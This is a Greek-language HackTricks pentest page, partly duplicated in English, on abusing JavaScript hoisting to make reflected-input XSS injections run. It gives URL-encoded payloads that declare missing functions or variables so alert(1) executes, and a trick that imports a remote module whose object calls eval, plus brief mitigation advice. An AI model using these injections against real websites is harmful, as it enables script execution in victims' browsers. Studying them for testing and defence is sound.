JS Hoisting

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Στη γλώσσα JavaScript, περιγράφεται ένας μηχανισμός που ονομάζεται Ανύψωση (Hoisting), όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή εισαγωγών ανυψώνονται έννοιακά στην κορυφή του πεδίου τους πριν την εκτέλεση του κώδικα. Αυτή η διαδικασία πραγματοποιείται αυτόματα από τη μηχανή JavaScript, η οποία περνά από τον κώδικα σε πολλά πέρασματα.

Κατά το πρώτο πέρασμα, η μηχανή αναλύει τον κώδικα για να ελέγξει τα συντακτικά σφάλματα και να τον μετατρέψει σε ένα αφηρημένο δέντρο σύνταξης. Αυτή η φάση περιλαμβάνει την ανύψωση, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του περιβάλλοντος εκτέλεσης. Εάν το πέρασμα ανάλυσης είναι επιτυχημένο, χωρίς συντακτικά σφάλματα, η εκτέλεση του σεναρίου συνεχίζεται.

Είναι κρίσιμο να κατανοήσετε ότι:

  1. Το σενάριο πρέπει να είναι απαλλαγμένο από συντακτικά σφάλματα για να πραγματοποιηθεί η εκτέλεση. Οι κανόνες συντακτικού πρέπει να τηρούνται αυστηρά.

  2. Η τοποθέτηση του κώδικα μέσα στο σενάριο επηρεάζει την εκτέλεση λόγω της ανύψωσης, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.

Τύποι Ανύψωσης

Βάσει των πληροφοριών από το MDN, υπάρχουν τέσσερις διακριτοί τύποι ανύψωσης στη JavaScript:

  1. Ανύψωση Τιμής: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής εντός του πεδίου της πριν από τη γραμμή της δήλωσής της.

  2. Ανύψωση Δήλωσης: Επιτρέπει την αναφορά σε μια μεταβλητή εντός του πεδίου της πριν από τη δήλωσή της χωρίς να προκαλεί ένα ReferenceError, αλλά η τιμή της μεταβλητής θα είναι undefined.

  3. Αυτός ο τύπος αλλάζει τη συμπεριφορά εντός του πεδίου της λόγω της δήλωσης της μεταβλητής πριν από την πραγματική της γραμμή δήλωσης.

  4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν από τον υπόλοιπο κώδικα που την περιέχει να αξιολογηθεί.

Λεπτομερώς, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά ανύψωσης τύπου 1. Η λέξη-κλειδί var επιδεικνύει συμπεριφορά ανύψωσης τύπου 2. Οι λεκτικές δηλώσεις, που περιλαμβάνουν let, const και class, εμφανίζουν συμπεριφορά ανύψωσης τύπου 3. Τέλος, οι δηλώσεις import είναι μοναδικές στο ότι ανυψώνονται με και τύπου 1 και τύπου 4 συμπεριφορές.

Σενάρια

Επομένως, εάν έχετε σενάρια όπου μπορείτε να εισάγετε κώδικα JS μετά από τη χρήση ενός μη δηλωμένου αντικειμένου, μπορείτε να διορθώσετε τη σύνταξη δηλώνοντάς το (ώστε ο κώδικάς σας να εκτελείται αντί να προκαλεί ένα σφάλμα):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Περισσότερα Σενάρια

Scenario 1: JavaScript Hoisting

Σενάριο 1: Ανύψωση JavaScript

In this scenario, the attacker exploits the concept of JavaScript hoisting to execute malicious code on a vulnerable website.

Σε αυτό το σενάριο, ο επιτιθέμενος εκμεταλλεύεται την έννοια της ανύψωσης του JavaScript για να εκτελέσει κακόβουλο κώδικα σε μια ευάλωτη ιστοσελίδα.

Description

Περιγραφή

JavaScript hoisting is a behavior in JavaScript where variable and function declarations are moved to the top of their containing scope during the compilation phase. This means that even if a variable or function is declared after it is used, it can still be accessed and executed.

Η ανύψωση του JavaScript είναι ένα συμπεριφορά στην JavaScript όπου οι δηλώσεις μεταβλητών και συναρτήσεων μετακινούνται στην κορυφή του περιέχοντος πεδίου τους κατά τη φάση της μεταγλώττισης. Αυτό σημαίνει ότι ακόμα κι αν μια μεταβλητή ή μια συνάρτηση δηλώνεται μετά τη χρήση της, μπορεί ακόμα να προσπελαστεί και να εκτελεστεί.

Exploitation

Εκμετάλλευση

The attacker identifies a vulnerable website that allows user input to be reflected in JavaScript code without proper sanitization or validation.

Ο επιτιθέμενος εντοπίζει μια ευάλωτη ιστοσελίδα που επιτρέπει την εισαγωγή χρήστη να αντανακλάται στον κώδικα του JavaScript χωρίς κατάλληλη απολύμανση ή επικύρωση.

The attacker crafts a payload that includes a JavaScript function declaration or variable assignment.

Ο επιτιθέμενος δημιουργεί ένα φορτίο που περιλαμβάνει μια δήλωση συνάρτησης του JavaScript ή ανάθεση μεταβλητής.

The payload is injected into the vulnerable website through user input, such as a form field or a URL parameter.

Το φορτίο εισάγεται στην ευάλωτη ιστοσελίδα μέσω της εισόδου του χρήστη, όπως ένα πεδίο φόρμας ή ένα παράμετρο URL.

When the vulnerable website processes the user input and executes the JavaScript code, the hoisting behavior moves the function declaration or variable assignment to the top of the scope, allowing the attacker's payload to be executed.

Όταν η ευάλωτη ιστοσελίδα επεξεργάζεται την είσοδο του χρήστη και εκτελεί τον κώδικα του JavaScript, η συμπεριφορά της ανύψωσης μετακινεί τη δήλωση της συνάρτησης ή την ανάθεση της μεταβλητής στην κορυφή του πεδίου, επιτρέποντας την εκτέλεση του φορτίου του επιτιθέμενου.

Mitigation

Αντιμετώπιση

To prevent JavaScript hoisting attacks, it is important to properly sanitize and validate user input before reflecting it in JavaScript code.

Για να αποτραπούν οι επιθέσεις ανύψωσης του JavaScript, είναι σημαντικό να απολυμαίνεται και να επικυρώνεται σωστά η είσοδος του χρήστη πριν αντανακλαστεί στον κώδικα του JavaScript.

Additionally, developers should follow secure coding practices, such as using strict mode in JavaScript to catch undeclared variables and functions.

Επιπλέον, οι προγραμματιστές θα πρέπει να ακολουθούν ασφαλείς πρακτικές κωδικοποίησης, όπως η χρήση της αυστηρής λειτουργίας στην JavaScript για την ανίχνευση μη δηλωμένων μεταβλητών και συναρτήσεων.

Regular security assessments and penetration testing can also help identify and mitigate JavaScript hoisting vulnerabilities.

Οι τακτικές αξιολογήσεις ασφαλείας και οι δοκιμές διείσδυσης μπορούν επίσης να βοηθήσουν στον εντοπισμό και την αντιμετώπιση των ευπάθειών της ανύψωσης του JavaScript.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated